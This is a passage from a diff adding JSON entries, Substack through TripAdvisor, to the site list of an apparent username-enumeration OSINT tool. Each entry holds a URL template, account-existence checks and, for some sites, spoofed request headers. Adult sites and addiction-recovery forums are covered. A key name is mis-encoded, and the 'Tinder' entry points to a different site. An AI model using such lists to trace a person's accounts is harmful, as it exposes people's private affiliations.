"https://{}.substack.com/", + "urlMain": "https://substack.com/", + "usernameON": "irina", + "bad_site": "" + }, + "Sugoidesu": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://sugoidesu.net/members/?username={}", + "urlMain": "https://sugoidesu.net", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Suicidegirls": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.suicidegirls.com/members/{}/", + "urlMain": "https://www.suicidegirls.com", + "usernameON": "dtimm87", + "bad_site": "" + }, + "Suomi24": { + "country": "🇫🇮", + "country_klas": "FI", + "errorTyp��": "status_code", + "url": "https://www.suomi24.fi/profiili/{}", + "urlMain": "https://www.suomi24.fi", + "usernameON": "Kilgore", + "bad_site": "" + }, + "Superuser": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No users matched your search.", + "errorMsg2": "s-empty-state bg-black-025", + "errorTyp��": "message", + "url": "https://superuser.com/users?tab=Reputation&filter=all&search={}", + "urlMain": "https://superuser.com", + "usernameON": "adam", + "bad_site": "" + }, + "Support_mozilla": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page Not Found | Mozilla", + "errorMsg2": "Sorry, we couldn't find the page you were looking for.", + "errorTyp��": "message", + "url": "https://support.mozilla.org/en-US/user/{}", + "urlMain": "https://support.mozilla.org", + "usernameON": "username", + "bad_site": "" + }, + "Suunto_Movescount_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "error=4&", + "errorMsg2": "<title>QT Media 404", + "errorTyp��": "message", + "url": "http://www.movescount.com/ru/members/{}", + "urlMain": "http://www.movescount.com", + "usernameON": "adam", + "bad_site": 1, + "comments": "https://www.suunto.com/" + }, + "Suzuki-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://suzuki-club.ru/members/?username={}", + "urlMain": "https://suzuki-club.ru", + "usernameON": "riphkin", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Suzuri": { + "country": "🇯🇵", + "country_klas": "JP", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://suzuri.jp/{}", + "urlMain": "https://suzuri.jp", + "usernameON": "boss", + "bad_site": "" + }, + "Svidbook": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://www.svidbook.ru/user/{}/", + "urlMain": "https://www.svidbook.ru/", + "usernameON": "Moon", + "comments": "bad", + "bad_site": 1 + }, + "Sweethome3d": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": " Error", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.sweethome3d.com/support/forum/viewmember;?member={}", + "urlMain": "https://www.sweethome3d.com", + "usernameON": "empereur", + "bad_site": "" + }, + "Swimming_forum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://forumswimming.ru/index/8-0-{}", + "urlMain": "http://forumswimming.ru/", + "usernameON": "irina", + "bad_site": "" + }, + "Syberpussy": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://syberpussy.com/members/?username={}", + "urlMain": "https://syberpussy.com", + "usernameON": "akira20m", + "bad_site": 1, + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Syktforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "404Ошибка! - Форум Сыктывкар. Форум города Сыктывкар", + "errorTyp��": "message", + "url": "http://syktforum.ru/profile/{}", + "urlMain": "http://syktforum.ru", + "usernameON": "TonyT", + "bad_site": 1 + }, + "Syktyvkar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://syktyvkar-online.ru/profile/{}", + "urlMain": "http://syktyvkar-online.ru", + "usernameON": "vcaun53", + "bad_site": 1 + }, + "Sysadmins": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Could not obtain user posts information", + "errorMsg2": "", + "errorTyp��": "message", + "errorMsg3": "
    (Attention Required! | Cloudflare", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sythe.org/members/?username={}", + "urlMain": "https://www.sythe.org", + "usernameON": "rskingp", + "bad_site": "" + }, + "T_baidu": { + "country": "🇨🇳", + "country_klas": "CN", + "errorTyp��": "response_url", + "url": "https://tieba.baidu.com/home/main?un={}", + "urlMain": "https://tieba.baidu.com", + "usernameON": "irina", + "bad_site": "" + }, + "Tabun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://tabun.everypony.ru/profile/{}/", + "urlMain": "https://tabun.everypony.ru", + "usernameON": "adam", + "bad_site": "" + }, + "TalkDrugabuse": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://talk.drugabuse.com/members/?username={}", + "urlMain": "https://talk.drugabuse.com", + "usernameON": "adam", + "bad_site": 1, + "comments": "cf", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Talkingsober": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://talkingsober.com/u/{}/summary", + "urlMain": "https://talkingsober.com", + "usernameON": "carljr", + "bad_site": "" + }, + "Talkstats": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://www.talkstats.com/members/?username={}", + "urlMain": "https://www.talkstats.com", + "usernameON": "johnlee", + "bad_site": 1, + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Tamboff": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существуе", + "errorMsg2": " - tamboff.ru ", + "errorTyp��": "message", + "url": "http://www.tamboff.ru/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "http://www.tamboff.ru", + "usernameON": "z0dl9rnd", + "comments": "bad", + "bad_site": 1 + }, + "TamTam": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "maximum-scale=1", + "errorMsg2": "ТамТам", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://tamtam.chat/{}", + "urlMain": "https://tamtam.chat/", + "usernameON": "blue", + "bad_site": "" + }, + "Taringa_CLOSEDEAD": { + "country": "🇦🇷", + "country_klas": "AR", + "errorTyp��": "response_url", + "url": "https://www.taringa.net/{}", + "urlMain": "https://www.taringa.net/", + "usernameON": "BLUE", + "bad_site": 1 + }, + "Teakdoor": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://teakdoor.com/members/{}.html", + "urlMain": "https://teakdoor.com", + "usernameON": "joe-90", + "comments": "bad", + "bad_site": "" + }, + "Techdirt": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": " | Techdirt", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://www.techdirt.com/user/{}/", + "urlMain": "https://www.techdirt.com/", + "usernameON": "thatoneguy", + "bad_site": "" + }, + "Techpowerup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.techpowerup.com/forums/members/?username={}", + "urlMain": "https://www.techpowerup.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Techrepublic": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.techrepublic.com/members/profile/{}/", + "urlMain": "https://www.techrepublic.com", + "usernameON": "Kentertainments75", + "bad_site": 1 + }, + "Tek-tips": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.tek-tips.com/userinfo.cfm?member={}", + "urlMain": "https://www.tek-tips.com/", + "usernameON": "red", + "bad_site": "" + }, + "Teknik": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The user does not exist", + "errorMsg2": "Not Exist | Teknik ", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://user.teknik.io/{}", + "urlMain": "https://teknik.io/", + "usernameON": "red", + "bad_site": 1 + }, + "Telegram": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://t.me/{}", + "urlMain": "https://t.me/", + "usernameON": "Klaus", + "bad_site": "" + }, + "Telepropusk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://telepropusk.ru/forums/users/{}/", + "urlMain": "https://telepropusk.ru", + "usernameON": "telepropusk", + "bad_site": "" + }, + "Teletype": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://teletype.in/@{}", + "urlMain": "https://teletype.in", + "usernameON": "adam", + "bad_site": "" + }, + "Television_linternaute": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://television.linternaute.com/profile/user/{}", + "urlMain": "https://television.linternaute.com", + "usernameON": "Radinoz", + "bad_site": "" + }, + "Tellonym": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tellonym.me/{}", + "urlMain": "https://tellonym.me/", + "usernameON": "blue", + "comments": "cf", + "bad_site": "" + }, + "Tenchat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://tenchat.ru/{}", + "urlMain": "https://tenchat.ru", + "usernameON": "agreec", + "bad_site": "" + }, + "Teplak": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "Теплый Стан :: ", + "errorMsg3": "Извините,", + "errorTyp��": "message", + "url": "http://www.teplak.ru/frm/profile.php?mode=viewprofile&u={}", + "urlMain": "http://www.teplak.ru", + "usernameON": "Lexa", + "comments": "zamedlenie", + "bad_site": 1 + }, + "Terminator": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://terminator-scc.net.ru/index/8-0-{}", + "urlMain": "http://terminator-scc.net.ru", + "usernameON": "red", + "bad_site": "" + }, + "Terminatorium": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://terminatorium.borda.ru/?32-{}", + "urlMain": "https://terminatorium.borda.ru/", + "usernameON": "tengu", + "bad_site": "" + }, + "Termoshop": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://termoshop.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://termoshop.ru/", + "usernameON": "yurez", + "bad_site": "" + }, + "Test_pypi": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "page\":0,\"totalMatches\":0", + "errorMsg2": "results\":[]", + "errorTyp��": "message", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://test.pypi.org/user/{}/", + "urlMain": "https://test.pypi.org", + "usernameON": "samsja", + "urlProbe": "https://deps.dev/_/search?q={}&system=PYPI&page=0&perPage=20", + "bad_site": "" + }, + "Tetongravity": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Please wait", + "errorMsg2": "This user has not registered and therefore does not have a profile to view", + "errorTyp��": "message", + "url": "https://www.tetongravity.com/forums/member.php/?username={}", + "urlMain": "https://www.tetongravity.com", + "usernameON": "RoooR", + "bad_site": "" + }, + "Texasguntalk": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://www.texasguntalk.com/members/?username={}", + "urlMain": "https://www.texasguntalk.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Thaicat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.thaicat.ru/index/8-0-{}", + "urlMain": "http://www.thaicat.ru", + "usernameON": "SparcO", + "bad_site": "" + }, + "Theanswerbank": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Welcome to the AnswerBank", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://www.theanswerbank.co.uk/members/{}", + "urlMain": "https://www.theanswerbank.co.uk", + "usernameON": "adam", + "bad_site": "" + }, + "Thebeautybrains": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://thebeautybrains.com/users/{}/", + "urlMain": "https://thebeautybrains.com", + "usernameON": "randys", + "bad_site": "" + }, + "Thebigboss": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "http://thebigboss.org/author/{}", + "urlMain": "http://thebigboss.org", + "usernameON": "adam", + "bad_site": "" + }, + "Thechessforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page Not Found", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://thechessforum.com/profile/{}/", + "urlMain": "https://thechessforum.com", + "usernameON": "menaalkhan", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Thechive": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://thechive.com/author/{}/", + "urlMain": "https://thechive.com", + "usernameON": "camrybishop", + "bad_site": "" + }, + "THEcommunity": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://thecommunity.ru/user/{}/", + "urlMain": "https://thecommunity.ru", + "usernameON": "pjslot", + "bad_site": "" + }, + "Thefastdiet": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Sorry, ", + "errorMsg2": "page doesn", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://thefastdiet.co.uk/forums/users/{}/", + "urlMain": "https://thefastdiet.co.uk", + "usernameON": "fadepeacock", + "bad_site": "" + }, + "Thefastlaneforum": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://www.thefastlaneforum.com/community/members/?username={}", + "urlMain": "https://www.thefastlaneforum.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Thelion": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "We are sorry but the following error has occurred.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://www.thelion.com/bin/profile.cgi?c=s&ru_name={}", + "urlMain": "http://www.thelion.com", + "usernameON": "adam", + "bad_site": "" + }, + "Themeforest": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://themeforest.net/user/{}", + "urlMain": "https://themeforest.net", + "usernameON": "adam", + "bad_site": "" + }, + "Theodysseyonline": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.theodysseyonline.com/user/@{}", + "urlMain": "https://www.theodysseyonline.com", + "usernameON": "adam", + "bad_site": "" + }, + "Theoutlander": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://theoutlander.ru/index/8-0-{}", + "urlMain": "http://theoutlander.ru", + "usernameON": "Parma", + "bad_site": "" + }, + "Thephysicsforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "The Physics Forum", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.thephysicsforum.com/members/{}.html", + "urlMain": "https://www.thephysicsforum.com", + "usernameON": "andrewc", + "bad_site": "" + }, + "Thesimsresource": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.thesimsresource.com/artists/{}/", + "urlMain": "https://www.thesimsresource.com/", + "usernameON": "soloriya", + "bad_site": "" + }, + "Thestudentroom": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "NoneNone", + "errorMsg2": "This user has not registered and therefore does not have a profile to view.", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thestudentroom.co.uk/member.php?username={}", + "urlMain": "https://www.thestudentroom.co.uk", + "usernameON": "adam", + "bad_site": "" + }, + "Thevampirediaries": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://thevampirediaries.ru/user/{}/", + "urlMain": "http://thevampirediaries", + "usernameON": "PrestonPauh", + "comments": "no_oplata", + "bad_site": 1 + }, + "Theverge": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.theverge.com/users/{}", + "urlMain": "https://www.theverge.com", + "usernameON": "Patlex", + "bad_site": "" + }, + "Thewatchforum": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://www.thewatchforum.co.uk/members/?username={}", + "urlMain": "https://www.thewatchforum.co.uk", + "usernameON": "wrench", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Thingiverse": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.thingiverse.com/{}/designs", + "urlMain": "https://www.thingiverse.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Thlaspi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thlaspi.com/en/user/{}", + "urlMain": "https://thlaspi.com", + "usernameON": "eblinkoff", + "comments": "-t 22 good", + "bad_site": "" + }, + "Threads": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Threads", + "errorMsg2": "| Cloudflare", + "errorMsg3": "content=\"https://www.threads.com/login", + "errorTyp��": "message", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "Priority": "u=1", + "DNT": "1", + "Host": "www.threads.com", + "Connection": "keep-alive", + "Upgrade-Insecure-Requests": "1", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "url": "https://www.threads.com/@{}", + "urlMain": "https://www.threads.com", + "usernameON": "adam", + "bad_site": "" + }, + "TikTok": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tiktok.com/@{}?lang=ru-RU", + "urlMain": "https://www.tiktok.com/", + "headers": { + "Accept": "*/*", + "Sec-GPC": "1", + "Connection": "keep-alive", + "Host": "www.tiktok.com", + "User-Agent": "Mozilla/5.0 (compatible; YandexAccessibilityBot/3.0; +http://yandex.com/bots)" + }, + "usernameON": "red", + "bad_site": "" + }, + "Tildes": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tildes.net/user/{}", + "urlMain": "https://tildes.net", + "usernameON": "Palatino", + "bad_site": "" + }, + "Tinder": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Dating, Make Friends &", + "errorMsg2": "заводи друзейТинькофф", + "errorTyp��": "message", + "url": "https://www.tinkoff.ru/invest/social/profile/{}/", + "urlMain": "https://www.tinkoff.ru", + "usernameON": "Usual_user", + "bad_site": "" + }, + "Tjournal_CLOSEDEAD": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Мы все внимательно посмотрели, но ничего не нашли :(", + "errorMsg2": "Можно попробовать изменить поисковый запрос или пойти почитать", + "errorTyp��": "message", + "url": "https://tjournal.ru/search/v2/subsite/relevant?query={}", + "urlMain": "https://tjournal.ru", + "usernameON": "adam", + "bad_site": 1 + }, + "Tkgr": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://tkgr.ru/forum/member/{}", + "urlMain": "http://tkgr.ru/", + "usernameON": "siber", + "comments": "zamedlenie", + "bad_site": "" + }, + "Tl": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://tl.net/forum/profile.php?user={}", + "urlMain": "https://tl.net", + "usernameON": "adam", + "bad_site": "" + }, + "Tolyatty": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://tolyatty.net/user/{}/", + "urlMain": "http://tolyatty.net", + "usernameON": "derre-red", + "bad_site": 1 + }, + "Tomtom_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://discussions.tomtom.com/en/profile/{}", + "urlMain": "https://discussions.tomtom.com/", + "usernameON": "adam", + "bad_site": 1 + }, + "Toot_mstd": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://toot.cat/@{}", + "urlMain": "https://toot.cat", + "usernameON": "bob", + "bad_site": "" + }, + "Topcheats": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://topcheats.ucoz.com/index/8-0-{}", + "urlMain": "https://topcheats.ucoz.com", + "usernameON": "sergeizakaz", + "bad_site": "" + }, + "Topdb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "Извините, но пользователь не найден", + "errorTyp��": "message", + "url": "https://topdb.ru/{}", + "urlMain": "https://topdb.ru", + "usernameON": "sukaebana2017", + "bad_site": "" + }, + "Topwar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://topwar.ru/user/{}/", + "urlMain": "https://topwar.ru", + "usernameON": "datur", + "bad_site": "" + }, + "Torrent-soft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://torrent-soft.net/user/{}/", + "urlMain": "https://torrent-soft.net", + "usernameON": "Baguvix", + "bad_site": "" + }, + "Totalstavki_CLOSEDEAD": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://totalstavki.ru/forum/members/?username={}", + "urlMain": "https://totalstavki.ru", + "usernameON": "turbo", + "bad_site": 1, + "comments": "zakr", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Totseans_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "<title>Totseans", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "http://www.totseans.com/bbs/profile/{}", + "urlMain": "http://www.totseans.com", + "usernameON": "Vizier", + "comments": "RUblock", + "bad_site": 1 + }, + "Tottenhamhotspur": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://tottenhamhotspur.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://tottenhamhotspur.ru", + "usernameON": "rusiakos", + "bad_site": "" + }, + "Touristlink": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Members across the World", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://www.touristlink.com/user/{}", + "urlMain": "https://www.touristlink.com", + "usernameON": "green", + "comments": "Oplata", + "bad_site": 1 + }, + "Tourney": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено.", + "errorMsg2": "colspan=\"4\">", + "errorTyp��": "message", + "url": "http://www.tourney.ru/forum/userlist.php?username={}&show_group=-1&sort_by=username", + "urlMain": "http://www.tourney.ru", + "usernameON": "Spirit", + "bad_site": "" + }, + "Toxicbun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://toxicbun.com/@{}", + "urlMain": "https://toxicbun.com", + "usernameON": "Mark", + "comments": "bad", + "bad_site": 1 + }, + "Toyster": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "toyster.ru форум", + "errorTyp��": "message", + "url": "https://toyster.ru/forum/member.php?username={}", + "urlMain": "https://toyster.ru", + "usernameON": "DEMOH85", + "bad_site": "" + }, + "TrackmaniaLadder": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "player unknown or invalid", + "errorMsg2": "NoneNone", + "errorMsg3": "player unknown or invalid", + "errorTyp��": "message", + "url": "http://en.tm-ladder.com/{}_rech.php", + "urlMain": "http://en.tm-ladder.com/index.php", + "usernameON": "blue", + "comments": "bad", + "bad_site": 1 + }, + "TradingView": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "This isn't the page you're looking for", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://www.tradingview.com/u/{}/", + "urlMain": "https://www.tradingview.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Trainsim": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Cloudflare", + "errorMsg3": "Just a moment", + "errorTyp��": "message", + "url": "https://www.trainsim.com/vbts/member.php?username={}", + "urlMain": "https://www.trainsim.com/", + "usernameON": "adam", + "comments": "super", + "bad_site": 1 + }, + "Trakt": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.trakt.tv/users/{}", + "urlMain": "https://www.trakt.tv/", + "usernameON": "blue", + "bad_site": "" + }, + "Translatewiki": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://translatewiki.net/wiki/User:{}", + "urlMain": "https://translatewiki.net", + "usernameON": "Adam", + "bad_site": "" + }, + "Tranzilla": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По данному запросу ничего не найдено.", + "errorMsg2": "><div class=\"info_block\"></div><h2>", + "errorMsg3": "Internal Server Error", + "errorTyp��": "message", + "url": "https://tranzilla.ru/search/?request=&search_type=t", + "urlMain": "https://tranzilla.ru", + "usernameON": "irina", + "bad_site": 1 + }, + "Trashbox": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "div_text_error2", + "errorTyp��": "message", + "url": "https://trashbox.ru/users/{}", + "urlMain": "https://trashbox.ru/", + "usernameON": "blue", + "bad_site": "" + }, + "Travelblog": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.travelblog.org/Bloggers/{}", + "urlMain": "https://www.travelblog.org", + "usernameON": "adam", + "bad_site": "" + }, + "Travelfish": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Private or invalid", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.travelfish.org/member_popup.php?u={}", + "urlMain": "https://www.travelfish.org", + "usernameON": "YeMeansWater", + "bad_site": "" + }, + "Travellerspoint": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.travellerspoint.com/users/{}/", + "urlMain": "https://www.travellerspoint.com", + "usernameON": "blue", + "bad_site": "" + }, + "Travis": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://travis-ci.community/u/{}/summary", + "urlMain": "https://travis-ci.community/", + "usernameON": "montana", + "bad_site": "" + }, + "Trello": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "model not found", + "errorMsg2": "Trello Server Error", + "errorTyp��": "message", + "url": "https://trello.com/{}", + "urlMain": "https://trello.com/", + "urlProbe": "https://trello.com/1/Members/{}", + "usernameON": "blue", + "bad_site": "" + }, + "Trictrac": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "url": "https://www.trictrac.net/mur/{}", + "urlMain": "https://www.trictrac.net", + "usernameON": "entelechie", + "bad_site": "" + }, + "Trilife": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "

    ", + "errorTyp��": "message", + "url": "https://trilife.ru/search/?q={}&sort=&entity=users&from=&to=", + "urlMain": "https://trilife.ru", + "usernameON": "irina", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Trinixy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://trinixy.ru/user/{}/", + "urlMain": "https://trinixy.ru", + "usernameON": "green", + "bad_site": "" + }, + "TripAdvisor": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "(!cancel)", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "User-Agent": 